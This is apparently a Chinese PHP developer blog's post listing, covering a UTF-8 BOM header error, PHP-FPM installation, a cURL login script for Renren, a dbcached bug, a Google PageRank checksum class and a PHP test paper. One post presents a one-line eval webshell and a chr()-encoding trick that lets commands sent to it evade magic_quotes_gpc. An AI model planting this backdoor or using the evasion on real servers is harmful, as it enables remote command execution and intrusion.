登录 |

utf-8 bom 导致 Cannot modify header information – headers already sent

2010年06月17日 上午 18:50 | 作者:

Warning: Cannot modify header information – headers already sent by (output started at /home/onoboss/onoboss_wiki/wp-content/plugins/wp-limit-posts-automaticallybon/wp-limit-posts-automatically.php:1) in /home/onoboss/onoboss_wiki/wp-login.php on line 302

安装一个wordpress插件,登录wp-admin,报header already sent,

怎么判断是utf-8导致的呢?

output started at /home/onoboss/onoboss_wiki/wp-content/plugins/wp-limit-posts-automaticallybon/wp-limit-posts-automatically.php:1

这个提示你,输出开始的文件位置,注意最后一个1,即第一行!

可能的原因:

  1. utf-8 BOM(Byte Order Mark,字节序标记)
    在UTF8文件头加入:EF BB BF,表示自己是一个utf-8文件;浏览器会把EF BB BF当成字符输出。
  2. php脚本头 <?php,尾 ?>有任意字符,比如换行,空格
    [php]
    \n
    <?php

    ?>
    \n
    [/php]

解决方案:

  1. vim 去除utf-8 bom
    [shell]set nobomb;[/shell]
  2. php脚本,不使用结束符 ?>
    [php] <?php
    $a = 1;
    ?> // 可以不加这个结束符
    [/php]
  3. 开启输出缓冲
    [php]ob_start();[/php]

PHP5.3 fpm(PHP FastCGI Process Manager)安装

2010年06月11日 下午 44:08 | 作者:

手动下载几个依赖包:

[shell]wget http://mirrors.sohu.com/ubuntu/pool/main/k/krb5/libkrb53_1.6.dfsg.4~beta1-5ubuntu2_i386.deb
wget http://mirrors.sohu.com/ubuntu/pool/main/i/icu/libicu38_3.8-6ubuntu0.2_i386.deb[/shell]

安装:

[shell]sudo dpkg -i *.deb[/shell]

加入php5源

[shell]sudo echo “deb http://php53.dotdeb.org stable all” >> /etc/apt/sources.list[/shell]

更新源

[shell]sudo apt-get update[/shell]

apt安装

[shell]sudo apt-get install php5-cli php5-common php5-suhosin
sudo apt-get install php5-fpm php5-cgi
[/shell]

如果需要安装php5-mcrypt ,php5-dev,需要手动安装以下依赖包

[shell]# apt-get install php5-mcrypt
wget http://mirrors.sohu.com/debian/pool/main/libt/libtool/libltdl3_1.5.26-4+lenny1_i386.deb
# apt-get install php5-dev
wget http://mirrors.sohu.com/ubuntu/pool/main/libt/libtool/libtool_1.5.26-1ubuntu1_i386.deb[/shell]

PHP+CURL登录人人(校内)网passport

2009年09月27日 下午 56:55 | 作者:

由于人人网(renren.com)和开心网(kaixin.com)对接,新建了个passport服务,用于统一验证,模拟登录的方式也改了,请看通行证登录原理:

1.应用提交验证信息给passport:
email/password
origURL/domain
2.passport分配全局SessionID:
XNESSESSIONID=c3b27ade6716;
3.passport验证帐号/密码
4.用户验证成功,Location 回应用的 callbackUrl:
http://login.renren.com/callback.do?t=ad34b89977d3a45a7bd0b49ea568ad436&origURL=http%3A%2F%2Fwww.renren.com%2FSysHome.do
5.应用的callbackUrl负责获取用户信息,并分配当前的UID:
xnsid=48863dc
6.跳转到应用的首页origURL
function xiaonei_login($email, $password){
$url = ‘http://passport.renren.com/PLogin.do’;
$opt = array(
// LOCATION(自动跳转1次)
CURLOPT_MAXREDIRS => 1,
CURLOPT_FOLLOWLOCATION => 1,
CURLOPT_AUTOREFERER => 1,
// POST(提交验证数据)
CURLOPT_POST => 1,
CURLOPT_POSTFIELDS => “email=$email&password=$password&origURL=http%3A%2F%2Fwww.renren.com%2FSysHome.do&domain=renren.com”,
// COOKIE(保存cookie)
CURLOPT_COOKIEJAR => ‘./cookie’,
CURLOPT_COOKIEFILE => ‘./cookie’,
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt_array($ch, $opt);
curl_exec($ch);
curl_close($ch);

}

dbcached批量获取键值(get keys)问题

2008年10月19日 上午 10:38 | 作者:

 dbcached(http://code.google.com/p/dbcached/) 是一种memcached缓存持久化解决方案。

add()之后,会通过udp包发给nmdp存储

如果get()未命中,则向nmdp取回数据,写入memcached

问题描述

Memcache::get支持单个键和批量键获取:
string Memcache::get ( string key )
array Memcache::get ( array keys )

当使用 Memcache::get ( array keys ) 时,如果key未命中:
dbcached向nmdp取回数据后,所有键值均为keys中最后一个键值

例:

var_dump($memcache->get(array(‘20020410070133′,’20040410070111’)));

首次请求,键值值全部为最后一个键(20040410070111)的键值:

array

  '20020410070133' => string '郭蓉' (length=6)
  '20040410070111' => string '郭蓉' (length=6)

刷新之后,由于数据已经读入memcached,输出正常:

array
  '20020410070133' => string '张伟' (length=6)
  '20040410070111' => string '郭蓉' (length=6)

解决方案(临时)

get两次 :!

$memcache->get($keys);
return $memcache->get($keys);


			

获取googlePR

2008年08月20日 上午 04:05 | 作者:

网上找到一个获取googlePR的class,按照自己的编码规范,重构了一下:

getPageRank($url);
*/
define('GOOGLE_MAGIC', 0xE6359A60);
class GooglePR{

	function getPageRank($url){
		$query = $this->getQuery($url);
		$data = $this->getRankData($query);
		$pageRank = $this->parseRank($data);
		return $pageRank;
	}

	function getQuery($url){
		$ch = $this->getCh($url);
		$query = "/search?client=navclient-auto&ch=$ch&features=Rank&q=info:$url";
		return $query;
	}

	function getRankData($query){
		//return file_get_contents('http://www.google.com' . $query);
		$fp = fsockopen("www.google.com", 80, $errno, $errstr, 30);
		if (!$fp) {
			echo "$errstr ($errno)
\n"; } else { $out = "GET $query HTTP/1.1\r\n" ; $out .= "Host: www.google.com\r\n" ; $out .= "Connection: Close\r\n\r\n" ; fwrite($fp, $out); while (!feof($fp)) { $data .= fgets($fp, 128); } fclose($fp); } return $data; } function parseRank($data){ $pos = strpos($data, "Rank_1:"); // Rank_1:1:4/Rank_1:2:10 if($pos === false){ $pageRank = 0; }else{ $len = substr($data, $pos+7, 1); $pageRank = substr($data, $pos+9, $len); } return $pageRank; } function getCh($url, $length=null, $init=GOOGLE_MAGIC) { $url = $this->strord("info:" . $url); if(is_null($length)) { $length = sizeof($url); } $a = $b = 0x9E3779B9; $c = $init; $k = 0; $len = $length; while($len >= 12) { $a += ($url[$k+0] +($url[$k+1]<<8) +($url[$k+2]<<16) +($url[$k+3]<<24)); $b += ($url[$k+4] +($url[$k+5]<<8) +($url[$k+6]<<16) +($url[$k+7]<<24)); $c += ($url[$k+8] +($url[$k+9]<<8) +($url[$k+10]<<16)+($url[$k+11]<<24)); $mix = $this->mix($a,$b,$c); $a = $mix[0]; $b = $mix[1]; $c = $mix[2]; $k += 12; $len -= 12; } $c += $length; switch($len){ case 11: $c += ($url[$k+10]<<24); case 10: $c += ($url[$k+9]<<16); case 9 : $c += ($url[$k+8]<<8); /* the first byte of c is reserved for the length */ case 8 : $b += ($url[$k+7]<<24); case 7 : $b += ($url[$k+6]<<16); case 6 : $b += ($url[$k+5]<<8); case 5 : $b += ($url[$k+4]); case 4 : $a += ($url[$k+3]<<24); case 3 : $a += ($url[$k+2]<<16); case 2 : $a += ($url[$k+1]<<8); case 1 : $a += ($url[$k+0]); } $mix = $this->mix($a, $b, $c); /* report the result */ return "6" . $mix[2]; } function zeroFill($a, $b){ $z = hexdec(80000000); if ($z & $a){ $a = ($a>>1); $a &= (~$z); $a |= 0x40000000; $a = ($a>>($b-1)); }else{ $a = ($a>>$b); } return $a; } function mix($a,$b,$c) { $a -= $b; $a -= $c; $a ^= ($this->zeroFill($c,13)); $b -= $c; $b -= $a; $b ^= ($a<<8); $c -= $a; $c -= $b; $c ^= ($this->zeroFill($b,13)); $a -= $b; $a -= $c; $a ^= ($this->zeroFill($c,12)); $b -= $c; $b -= $a; $b ^= ($a<<16); $c -= $a; $c -= $b; $c ^= ($this->zeroFill($b,5)); $a -= $b; $a -= $c; $a ^= ($this->zeroFill($c,3)); $b -= $c; $b -= $a; $b ^= ($a<<10); $c -= $a; $c -= $b; $c ^= ($this->zeroFill($b,15)); return array($a, $b, $c); } //converts a string into an array of integers containing the numeric value of the char function strord($string) { $strlen = strlen($string); for($i = 0; $i < $strlen; $i++) { $result[$i] = ord($string{$i}); } return $result; } } ?>

绕过magic_quotes_gpc,运行一句话后门

2008年07月28日 上午 50:32 | 作者:

服务器端一句话后门:  <?php eval($_REQUEST[‘cmd’])?> 

如果php.ini开启magic_quotes_gpc,提交的cmd不能包含字符串,否则报错:

Warning: Unexpected character in input: ‘\’ (ASCII=92) state=1 in ***.php(171) : eval()’d code on line 1

Parse error: syntax error, unexpected $end in ***.php(171) : eval()’d code on line 1

解决方法:

就是把代码中的字符串替换为chr()函数连接字符串的形式,避免出现单/双引号:

echo ‘china’;

echo chr(99).chr(104).chr(105).chr(110).chr(97);

处理函数:

function stringToChr($string) {
    $pattern = array("|\'(.*?)\'|", "|\"(.*?)\"|");
    return preg_replace_callback($pattern, "toChrString", $string);
}

function toChrString($matches) {
    $string =  $matches[1];
    $length = strlen($string);
    for($i = 0; $i < $length; $i++){
        $chrString .= 'chr(' . ord($string{$i}) . ').';
    }
    return substr($chrString, 0, -1);
}

$cmd = 'echo "china";';
echo stringToChr($cmd);

腾讯PHP笔试试题

2008年06月18日 上午 36:22 | 作者:

php-lamp-engineer-test-paper.doc

PHP开发工程师面试试卷.doc